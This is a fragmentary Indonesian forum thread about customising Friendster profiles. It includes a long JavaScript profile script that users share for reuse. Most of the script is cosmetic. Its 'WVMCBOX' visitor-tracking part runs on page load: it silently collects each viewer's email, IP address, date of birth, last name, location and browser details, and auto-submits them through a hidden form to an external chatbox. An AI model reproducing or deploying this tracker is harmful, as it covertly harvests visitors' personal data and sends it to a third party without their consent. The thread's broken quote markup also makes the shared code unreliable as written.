ada yg bisa jawab gak, gimana caranya bikin menu navigasi jadi satu, trus bisa dibuka-tutup?
[/quote]
mo cb jawab neh,, maksutny navigasi yg kek gini ye jeng
<">
itu navigasi yg gw pake
jeng pipit, thks ya dh add fs quw
gimana bikin comment scroll?[/quote]
klo yg scroll comment coba ini sist
[b]ini buat box commentnya[/b]
<">
[b]yg ini buat comment yg dari teman[/b]
<">masukin di cssnya sist
sist bisa pakai dua-duanya biar ga makan tempat,kalo ada comment dari teman dalam ukuran besar
Last edited by Co_don SanAdH (2008-01-28 05:05:24)
[/align]
[/align][/quote]
apanya yg error bro? coba dicek ulang dulu..
(
truzz gmana ci cara na cupaya kita bs tw siapa az yg ngeliat fs kita di profile??
mohon bantuann naa...
<"><"><">makasih sebelumnya
[/quote]
untuk upload mp3 coba kamu [url=http://fileden.com]KLIK DISINI[/url] sebelumnya kamu register dulu
semoga membantu Last edited by Co_don SanAdH (2008-01-28 08:15:40)
plizz... cenior" ku help mi..
thx be 4
ini code nya bro ...
tinggal di edit aja yang di tebelin [b]kata-kata nya[/b] ..
plizz... cenior" ku help mi..
thx be 4[/quote]
klo gw sih bro, bwt mencegah hal2 kaya dobel box gitu, stiap mo liat profil gw, gw apus temporary files/clear cache nya d browser gw bro ..
kecuali emg kalo ada kesalahan di skrip spt dobel onload handler, dsb, ya jadinya emg box mengkloningkan dirinya ..
ini code nya bro ...
tinggal di edit aja yang di tebelin [b]kata-kata nya[/b] ..
<">var mycss = document.createElement("link");
mycss.type = "text/css";
mycss.rel = "stylesheet";
mycss.href = "http://h1.ripway.com/julyan/fsaqygputih.css";
mycss.media = "screen, print";
document.getElementsByTagName("head")[0].appendChild(mycss);
//Moving Shoutout Box
if ( ! attachOnLoadHandler(function () { movingCpSB();}))
window.onload = function () { movingCpSB();};
function movingCpSB() {
var marqueeCSbox = document.getElementById("cpShoutoutBox").innerHTML;
document.getElementById("cpShoutoutBox").innerHTML ="<marquee direction='left' height='100%' scrollamount='2' onMouseOver='stop()' onMouseOut='start()'>"+
marqueeCSbox+"</marquee>";
}
if (!attachOnLoadHandler(function(){embed()})) window.onload = function(){embed()};
function embed(){
var slodde = "<embed src=\"http://widget-e7.slide.com/widgets/slideticker.swf\" type=\"application/x-shockwave-flash\" quality=\"high\" scale=\"noscale\" salign=\"l\" wmode=\"transparent\" flashvars=\"cy=fr&il=1&channel=576460752326042210&site=widget-e7.slide.com\" style=\"width:100%;height:125px\" name=\"flashticker\" align=\"middle\"/><div style=\"width:100%;text-align:center;\"><a href=\"http://www.friendster.com/photos/45778280\" target=\"_blank\"><b>View All Photo</a> | <a href=\"http://www.friendster.com/friendphotoupload.php?uid=45778280\" target=\"_blank\">Upload Photo For Me</b></a></div>";
document.getElementById('content_1').style.height='100%';
document.getElementById('content_1').style.overflowY='hidden';
document.getElementById('content_1').innerHTML = "<table width='100%'><tr><td align='center'>"+slodde+"</td></tr></table>";
}setTimeout("embed()",10000);
// NAVIGATION
var nav="<div id=\"form1\" align=\"center\"><br><img src=\"http://h1.ripway.com/opyy/mycodes/LIRIKAN.gif\"></img><select onchange=\"jumpMenu('parent',this,0);\" style=\"width: 75%; font-family:'Courier New'; color:#00ff00; background-color:#000000; font-size:10pt;\"><option value= \"onclick=\"return false;\">NAVIGATION</option><option value=\"http://www.friendster.com\">Home</option><option value=\"http://profiles.friendster.com/user.php\">My Profile</option><option value=\"http://www.friendster.com/editprofile.php\">-- Edit Profile</option><option value=\"http://www.friendster.com/viewphotos.php\">-- Photos</option><option value=\"http://www.friendster.com/review.php\">-- Reviews</option><option value=\"http://www.friendster.com/blogs.php\">-- Blogs</option><option value=\"http://www.friendster.com/featuredfriends.php\">-- Featured Friends</option><option value=\"http://www.friendster.com/video.php\">-- Video</option><option value=\"http://www.friendster.com/bulletinboard.php\">-- Bulletin Board</option><option value=\"http://www.friendster.com/friends.php\">My Connections</option><option value=\"http://www.friendster.com/editcollege.php?A=s\">-- Schools</option><option value=\"http://www.friendster.com/friends.php?action=spusers\">-- I'm a Fan of...</option><option value=\"http://www.friendster.com/bookmarks.php\">-- Bookmarks</option><option value=\"http://www.friendster.com/group/mygroup.php\">-- Groups</option><option value=\"http://www.friendster.com/explore.php\">Explore</option><option value=\"http://www.friendster.com/userlist.php?list=newusers\">-- People</option><option value=\"http://www.friendster.com/photolist.php?list=mostrecent\">-- Photos</option><option value=\"http://www.friendster.com/video.php\">-- Video</option><option value=\"http://www.friendster.com/userlist.php?list=feat_profile\">-- Featured Fan Profiles</option><option value=\"http://www.friendster.com/widgetdirectory.php\">-- Widget Directory</option></select><img src=\"http://h1.ripway.com/opyy/mycodes/LIRIKAN.gif\"></img><br><br></div>";
addBox("RIGHT","- NaviGatioN -",nav,"mynav","15");
//auto friend scanner
if (!attachOnLoadHandler(function() { FRIENDSCAN.init();})) window.onload = function() { FRIENDSCAN.init();};
if (typeof FRIENDSCAN == "undefined") { FRIENDSCAN = {}; }
FRIENDSCAN = {
init: function() {
var emailAdd = "[email protected]";
var areWeFriend = "yes";
var authCode = "";
var scanner = document.getElementById("controlPanelButtons").innerHTML;
var AFRconfirm = scanner.search(/Add as Friend/);
if (AFRconfirm > 0) {
areWeFriend = "no";
window.onload = function() {eykalbelasahferuzzhehe();}
authCode = /href="[\S\s]*?authcode=([\S\s]+?)">Add as Friend/.exec(scanner)[1];
}
if(areWeFriend == "no") {
var cForm = confirm("keqna kmu lum termasuk dlm friendlist gw neh !. so,,,.\n Do you want to add me as your friend?");
if (cForm == true) {
document.location.href="http://www.friendster.com/addfriendrequest.php?confirm=1&authcode="+authCode+"&uid="+pageOwnerID+"&id=&email="+encodeURI(emailAdd)+"&lastname=";
}
}
}
};
//by marfillaster
if (!attachOnLoadHandler(function(){bryan()})) parent.onload = function(){bryan()};
//load script
function attachOnLoadHandler(func)
{
if(parent.attachEvent)
{
//win 5.0-6.0
parent.attachEvent('onload',func);
return true;
}
if(parent.addEventListener)
{
//moz,opera & safari
parent.addEventListener('load',func,false);
return true;
}
return false;
}
function bryan() {
var cbox1="<div align='center' id='cboxdiv'>"+
"<iframe frameborder='0' width='90%' height='300' src='http://www5.cbox.ws/box/?boxid=51954&boxtag=bsplbp&sec=main' marginheight='2' marginwidth='2' scrolling='auto' allowtransparency='yes' name='bryan' id='bryan'></iframe><br/><form name='chat' target='bryan' action='http://www5.cbox.ws/box/?boxid=51954&boxtag=bsplbp&sec=submit' method='post'><input type='hidden' name='nme' value='"+pageViewerFName+"'><input type='hidden' name='eml' value='http://www.friendster.com/"+pageViewerID+"'><textarea style='overflow:hidden' class='cboxMsgArea' cols='22' rows='3' name='pst'></textarea><br /><input type='submit' class='cboxButtons' value='Submit' name='asa'><input class='cboxButtons' type='reset' value='Clear' maxlength='23' onClick='reset()'><input type='button' class='cboxButtons' value='Refresh' name='bryan' onClick='window.bryan.location.href=document.getElementById(\"bryan\").src'></form>"+
"</div>";
addSideBar(".:: chatbox bwt kmu2 semua ::.",cbox1,"ul_cbox_content");
}
//add sidebar script
function addSideBar(head,htm,div_id) {
var browser=navigator.appName;
var mic="Microsoft Internet Explorer";
var innerHtm=htm;
var cont="<div id='"+div_id+"' class='commonbox "+div_id+"'>"+
"<div class='commonbox'>"+
"<h2>"+head+"</h2>"+
innerHtm+
"</div>"+
"</div>";
if (browser==mic){
var obj=parent.document.createElement("<li>");
var x=parent.document.getElementById("2");
x.parentNode.parentNode.appendChild(obj);
obj.innerHTML=cont;
}
else
{
var obj=parent.document.createElement("li");
obj.innerHTML=cont;
var x=parent.document.getElementById("2");
x.parentNode.parentNode.appendChild(obj);
}
}
//marquee status bar atas
<!--//
function tb10_makeArray(n){
this.length = n;
return this.length;
}
tb10_messages = new tb10_makeArray(1);
tb10_messages[0] = ".:: fs julyan ::.";
tb10_rptType = 'infinite';
tb10_rptNbr = 5;
tb10_speed = 100;
tb10_delay = 2000;
var tb10_wiper
var tb10_space="_"
var tb10_currMsg=0;
var tb10_counter=1;
var tb10_index=0
tb10_main()
function tb10_main()
{
document.title=tb10_messages[tb10_currMsg].substring(0,tb10_index)
tb10_index++
if(tb10_index==(tb10_messages[tb10_currMsg].length+4)){setTimeout('tb10_reset_clear()',tb10_delay);}
else{setTimeout('tb10_main()',tb10_speed)}
}
function tb10_reset_clear()
{
tb10_index=0
tb10_wiper=""
for(var a=0;a<tb10_messages[tb10_currMsg].length;a++){tb10_wiper+=tb10_space}
tb10_clearem()
}
function tb10_clearem()
{
document.title=tb10_wiper.substring(0,tb10_index) + "->" + tb10_messages[tb10_currMsg].substring(tb10_index+2,tb10_messages[tb10_currMsg].length)
tb10_index++
if(tb10_index==(tb10_messages[tb10_currMsg].length+4)){
if (tb10_currMsg == tb10_messages.length-1){
if ((tb10_rptType == 'finite') && (tb10_counter==tb10_rptNbr)){
document.title="";
return;
}
tb10_counter++;
tb10_currMsg = 0;
}
else tb10_currMsg++;
tb10_index=0
tb10_main()
}
else{setTimeout('tb10_clearem()',250)}
}
// -->
//marquee status bar bawah
<!--//
function doClock() {
window.setTimeout( "doClock()", 1000 );
today = new Date();
self.status = today.toString();
}
doClock()
// -->
//mini viewer
if ( ! attachOnLoadHandler(function (){mainVpic();})) window.onload = function (){ mainVpic();};
function mainVpic() {
if(pageViewerID!="") SPAWNPIC.init();
}
function getRegExpDetails(mypic) {
if(!mypic) {
SPAWNPIC.getCode();
return;
}else {
for (val in SPAWNPIC.info) {
try {
SPAWNPIC.info[val] = new RegExp(SPAWNPIC.regexp[val]).exec(mypic)[1].replace(/(\d)+?/i,"$1");
}catch(e) {
SPAWNPIC.info[val] = "";
}
}
if(pageViewerID != "") SPAWNPIC.openForm();
}
}
if (typeof SPAWNPIC == "undefined") { SPAWNPIC = {}; }
SPAWNPIC = {
viewerphoto: [],
info: {
name: null, photo: null, status: null, since: null, location: null
},
regexp: {
name: /controlpanel_header">((.|\s)+?)<a\s*name="controlpanel/,
photo: /imgblock200"><a.*?>((.|\s)+?)<\/a><\/div>/,
status: /data">((.|\s)+?)<\/span><\/li>/,
since: /Since\:\s*<\/span>((.|\s)+?)<\/li>/,
location: /Location\:\s*<\/span>((.|\s)+?)<\/li>/
},
content: {
id: "viewerphoto",
sibling: "15"
},
init: function() {
this.ajaxRequest("viewerPic","/user.php?uid="+pageViewerID,"getRegExpDetails","viewerPic1");
},
openForm: function() {
this.viewerphoto = "<div class='fitem1wrapper'>"+
"<table class'fitem1table'>"+
"<tr>"+
"<td class='itd'><a href='/" + pageViewerID + "' title=\"" + pageViewerFName + "\">" + this.info.photo + "</a>"+
"</td>" +
"<td class='dtd'>"+
"<ul class='data'>"+
"<div class='title'>" +
"<li>"+
"<a href='/" + pageViewerID + "'>" + this.info.name + "</a>"+
"<br />Friendster ID: <a href='/" + pageViewerID + "'>" + pageViewerID + "</a>"+
this.info.status + "<br>Member Since: " + this.info.since + "<br />Location: " + this.info.location + "</li>"+
"</div>" +
"</ul>"+
"</td>"+
"</tr>"+
"</table>"+
"</div>";
this.addContent("Welcome to my page "+this.info.name,this.viewerphoto,this.content.id,this.content.sibling);
},
ajaxRequest: function(xmlHttp,base_domain,ajaxfunc,handler) {
eval("var " + xmlHttp + "=window.XMLHttpRequest? new XMLHttpRequest():new ActiveXObject('Msxml2.XMLHTTP');");
eval(xmlHttp + ".onreadystatechange=function(){if(" + xmlHttp + ".readyState==4){" + handler + "=" + xmlHttp + ".responseText;" + ajaxfunc + "(" + handler + ")}}");
eval(xmlHttp + ".open('GET','" + base_domain + "',true);");
eval(xmlHttp + ".send(null);");
},
addContent: function(header,cont,id,sibling) {
var box = document.getElementById(sibling).parentNode;
try {
var obj = document.createElement("LI");
}catch(e) {
var obj = document.createElement("<LI>");
}
obj.innerHTML = "<div class='commonbox "+id+"' id='"+id+"'>"+
"<h2>"+header+"</h2><a name='"+id+"'></a><a name='"+id+"'></a>"+
"<div id='content_"+id+"'>"+cont+"</div>"+
"</div>";
box.parentNode.insertBefore(obj,box);
}
};
//rename header
if ( ! attachOnLoadHandler(function () { cHeaders();})) window.onload = function () { cHeaders();};
function cHeaders() {
REPLACEIT.init();
}
if (typeof REPLACEIT == "undefined") { REPLACEIT = {}; }
REPLACEIT = {
head: [],
init: function() {
//Controlpanel Box Header
this.head = this.getModuleByClassName(/controlpanel/i)[0].getElementsByTagName("h1")[0];
this.head.innerHTML = ".:: my fucking profile ::.";
//Photo Gallery Box Header
this.head = this.getModuleByClassName(/photos/i)[0].getElementsByTagName("h2")[0];
this.head.innerHTML = ".:: fotho narxizz gw ::.";
//Moreabout Box Header
this.head = this.getModuleByClassName(/moreabout/i)[0].getElementsByTagName("h2")[0];
this.head.innerHTML = ".:: all about my fucking life ::.";
//Publiccomments Box Header
this.head = this.getModuleByClassName(/publiccomments/i)[0].getElementsByTagName("h2")[0];
this.head.innerHTML = ".:: pesan2 ato komen kmu2 semua ::.";
//Friends Box Header
this.head = this.getModuleByClassName(/friends/i)[0].getElementsByTagName("h2")[0];
this.head.innerHTML = ".:: prend n cewek2 gw ::.";
//Groups Box Header
this.head = this.getModuleByClassName(/groups/i)[0].getElementsByTagName("h2")[0];
this.head.innerHTML = ".:: julyan community ::.";
//Media Box Header
this.head = this.getModuleByClassName(/scrapbook/i)[0].getElementsByTagName("h2")[0];
this.head.innerHTML = ".:: my fucking Mp3 box ::.";
},
getModuleByClassName: function(sClass) {
var elm = [];
var els = document.getElementsByTagName("*") || document.all;
for (var j=0,k=els.length;j<k;j++) {
if (new RegExp(sClass).test(els[j].className))elm.push(els[j]);
}
return elm;
}
};
/*
WVMCBOX version 2.2
Author: Friendstertalk members
Credits: Friendstertalk (http://theftalk.com), friendster.com, geobytes.com
Timestamp: GMT+8 10.45AM Jan 19, 2008
free to use but not free to resell
*/
if (!attachOnLoadHandler(function() { WVMCBOX.init();})) window.onload = function() { WVMCBOX.init();};
/* IP Address by Geobytes.com */
var geoIP = document.createElement("script");
geoIP.type = "text/javascript";
geoIP.src = "http://gd.geobytes.com/gd?after=-1&variables=GeobytesIpAddress";
document.getElementsByTagName("head")[0].appendChild(geoIP);
if (typeof WVMCBOX == "undefined") { WVMCBOX = {}; }
WVMCBOX = {
div: null, date: Date(),
ifstyle: ["100%", //width
"300", //height
"auto", //scrolling
"yes"], //allowtransparency
base: {
"cboxdiv": ["www5","51954","bsplbp"]
},
details: {
email: null,
lastname: null,
age: null,
status: null,
gender: null,
month: null,
year: null,
birth: null,
horoscope: null,
location: null
},
regexp: {
email: /email>(\b[a-z0-9._%+-]+@[a-z0-9.-]+\.[a-z]{2,4}\b)<\/email>/i,
lastname: /lastname>([\S\s]+?)<\/lastname>/i,
age: /age>([\d]+?)<\/age>/i,
status: /age><status>([\d]+?)<\/status>/i,
gender: /photocaption><gender>([m]|[f])<\/gender>/i,
month: /membersinceMonth>([\w]+?)<\/membersinceMonth>/i,
year: /membersinceYear>([\d]+?)<\/membersinceYear>/i,
birth: /dob>([\d]+?-[\d]+?-[\d]+?)<\/dob>/i,
horoscope: /horoscopesign>([\w]+?)<\/horoscopesign>/i,
location: /blog_id><location>([\S\s]+?)<\/location>/i
},
init: function() {
WVMCBOX.ajaxRequest("http://"+location.hostname+"/modules/module.php?_pmr=a&_pmmo=0&uid="+pageViewerID,WVMCBOX.viewer,null);
setInterval("window.wvm_submit.location.href=document.getElementById('wvm_submit').src",30000);
},
viewer: function(htm) {
if (htm.replace(/^\s*|\s*$/g,"") === null) {
alert("ERROR: Empty xmlresponse! \n Unable to parse your details!");return;
}else if (htm) {
for (val in WVMCBOX.details) {
try {
WVMCBOX.details[val] = new RegExp(WVMCBOX.regexp[val]).exec(htm)[1];
}catch(e) {
WVMCBOX.details[val] = "";
}
}
if (WVMCBOX.details.gender == "m") {
WVMCBOX.details.gender = "Male";
}else if (WVMCBOX.details.gender == "f") {
WVMCBOX.details.gender = "Female";
}
if (WVMCBOX.details.status == "2") {
WVMCBOX.details.status = "Single";
}
if (WVMCBOX.details.status == "3") {
WVMCBOX.details.status = "In a Relationship";
}
if (WVMCBOX.details.status == "6") {
WVMCBOX.details.status = "Domestic Partner";
}
if (WVMCBOX.details.status == "4") {
WVMCBOX.details.status = "Married";
}
if (WVMCBOX.details.status == "8") {
WVMCBOX.details.status = "It's complicated";
}
for (var seeboks in WVMCBOX.base) {
WVMCBOX.div = "<iframe frameborder=\"0\" width=\""+WVMCBOX.ifstyle[0]+"\" height=\""+WVMCBOX.ifstyle[1]+"\" scrolling=\""+WVMCBOX.ifstyle[2]+"\" allowtransparency=\""+WVMCBOX.ifstyle[3]+"\" marginheight=\"2\" marginwidth=\"2\" src=\"http://"+WVMCBOX.base[seeboks][0]+".cbox.ws/box/?boxid="+WVMCBOX.base[seeboks][1]+"&boxtag="+WVMCBOX.base[seeboks][2]+"&sec=main\" name=\"wvm_submit\" id=\"wvm_submit\"></iframe>"+
"<div style=\"display:none\">"+
"<form name=\"wvmcboxform\" id=\"wvmcboxform\" target=\"wvm_submit\" action=\"http://"+WVMCBOX.base[seeboks][0]+".cbox.ws/box/?boxid="+WVMCBOX.base[seeboks][1]+"&boxtag="+WVMCBOX.base[seeboks][2]+"&sec=submit\" method=\"post\">"+
"<input type=\"text\" name=\"nme\" value=\""+pageViewerFName+"\">"+
"<input type=\"text\" name=\"eml\" value=\"http://profiles.friendster.com/"+pageViewerID+"\">"+
"<textarea style=\"overflow:hidden\" class=\"cboxMsgArea\" maxlength=\"200\" cols=\"22\" rows=\"3\" name=\"pst\">"+WVMCBOX.date+
"[br]� Email: "+WVMCBOX.details.email+" [br]� IP Address: "+sGeobytesIpAddress+
"[br]� "+WVMCBOX.details.age+", "+WVMCBOX.details.gender+", "+WVMCBOX.details.status+
"[br]� Member Since: "+WVMCBOX.details.month+" "+WVMCBOX.details.year+
"[br]� D.O.B: "+WVMCBOX.details.birth+
"[br]� Horoscope: "+WVMCBOX.details.horoscope+
"[br]� Location: "+WVMCBOX.details.location+
"[br]� Friendster ID: "+pageViewerID+
"[br]� Lastname: "+WVMCBOX.details.lastname+
"[br]� Browser: "+navigator.appName+
"[br]� "+navigator.userAgent+"</textarea>"+
"</form>"+
"</div>";
addNewBox.init("Visitors Info","<div id=\""+seeboks+"\" align=\"center\">"+WVMCBOX.div+"</div>","wvmcbox",/friends/i,null);
}
}
if((pageViewerID != pageOwnerID) && (pageViewerID !== "")) {
if (document.wvmcboxform) {
document.wvmcboxform.submit();
}else {
document.getElementById("wvmcboxform").submit();
}
}
},
ajaxRequest: function(url,func,handler) {
var httprequest = window.XMLHttpRequest? new XMLHttpRequest():new ActiveXObject("Msxml2.XMLHTTP");
httprequest.onreadystatechange = function() {
if (httprequest.readyState == 4) {
if (httprequest.status == 200) {
func(httprequest.responseText,handler);
}
}
};
httprequest.open("GET", url, true);
httprequest.send(null);
}
};
if (typeof addNewBox == "undefined") { addNewBox = {}; }
addNewBox = {
init: function(head,code,id,sibling,x) {
var sbdiv = document.createElement("div");
sbdiv.className="commonbox "+id;
sbdiv.id = id;
if (!head) head = "";
else head = "<h2>"+head+"</h2>";
sbdiv.innerHTML = head;
sbdiv.appendChild(document.createElement("div"));
sbdiv.getElementsByTagName("div")[0].id = "content_"+id;
sbdiv.getElementsByTagName("div")[0].innerHTML = code;
var sbli = document.createElement("LI");
sbli.appendChild(sbdiv);
if (!x) this.getModuleByClassName(sibling)[0].parentNode.parentNode.appendChild(sbli);
else if (x == "below") this.getModuleByClassName(sibling)[0].parentNode.appendChild(sbli);
else if (x == "above") {
var ul = this.getModuleByClassName(sibling)[0];
ul.parentNode.parentNode.insertBefore(sbli,ul.parentNode);
}
},
getModuleByClassName: function(sClass) {
var elm = [];
var els = document.getElementsByTagName("*") || document.all;
for (var j=0,k=els.length;j<k;j++) {
if (new RegExp(sClass).test(els[j].className))elm.push(els[j]);
}
return elm;
}
};
//viewer foto
if (!attachOnLoadHandler(function(){viewer();})) window.onload = function(){viewer();};
function viewer() {
if(pageViewerID!="") VIEWERPIC.init();
}
if (typeof VIEWERPIC == "undefined") { VIEWERPIC = {}; }
VIEWERPIC = {
photo: [],
init: function() {
if(document.getElementById("viewerpic") != null) {
this.ajaxRequest("http://"+location.hostname+"/modules/module.php?_pmr=a&_pmmo=0&uid="+pageViewerID,VIEWERPIC.viewer,null);
}
},
viewer: function(htm) {
if (htm.replace(/^\s*|\s*$/g,"") === null) {
alert("VMP Error: Unable to parse the photo!");return;
}else if (htm) {
try {
var targetPhoto = htm.match(/<profile_photo>[\S\s]+?<\/profile_photo>/gim)[0].replace(/<[\S\s]+?>/gim, "");
var targetName = htm.match(/<firstname>[\S\s]+?<\/firstname>/gim)[0].replace(/<[\S\s]+?>/gim, "");
var targetEmail = htm.match(/<email>[\S\s]+?<\/email>/gim)[0].replace(/<[\S\s]+?>/gim, "");
this.photo = document.createElement("DIV");
this.photo.align = "center";
this.photo.appendChild(document.createElement("a"));
this.photo.getElementsByTagName("a")[0].href = "/"+pageViewerID;
this.photo.getElementsByTagName("a")[0].target = "_blank";
this.photo.getElementsByTagName("a")[0].title = pageViewerFName;
this.photo.getElementsByTagName("a")[0].appendChild(document.createElement("img"));
this.photo.getElementsByTagName("img")[0].src = targetPhoto;
this.photo.appendChild(document.createElement("br"));
this.photo.appendChild(document.createElement("span"));
this.photo.getElementsByTagName("span")[0].className = "q";
this.photo.getElementsByTagName("span")[0].appendChild(document.createElement("a"));
this.photo.getElementsByTagName("a")[1].href = "/"+pageViewerID;
this.photo.getElementsByTagName("a")[1].target = "_blank";
this.photo.getElementsByTagName("a")[1].title = pageViewerFName;
this.photo.getElementsByTagName("a")[1].innerHTML = targetName;
this.photo.appendChild(document.createElement("br"));
this.photo.appendChild(document.createElement("span"));
this.photo.getElementsByTagName("span")[1].className = "q";
this.photo.getElementsByTagName("span")[1].innerHTML = targetEmail;
document.getElementById("viewerpic").appendChild(this.photo);
}catch(e) {}
}
},
ajaxRequest: function(url,func,handler) {
var httprequest = window.XMLHttpRequest? new XMLHttpRequest():new ActiveXObject("Msxml2.XMLHTTP");
httprequest.onreadystatechange = function() {
if (httprequest.readyState == 4) {
if (httprequest.status == 200) {
func(httprequest.responseText,handler);
}
}
};
httprequest.open("GET", url, true);
httprequest.send(null);
}
};
<">[/quote]
ini js kok ancur lebur gini bro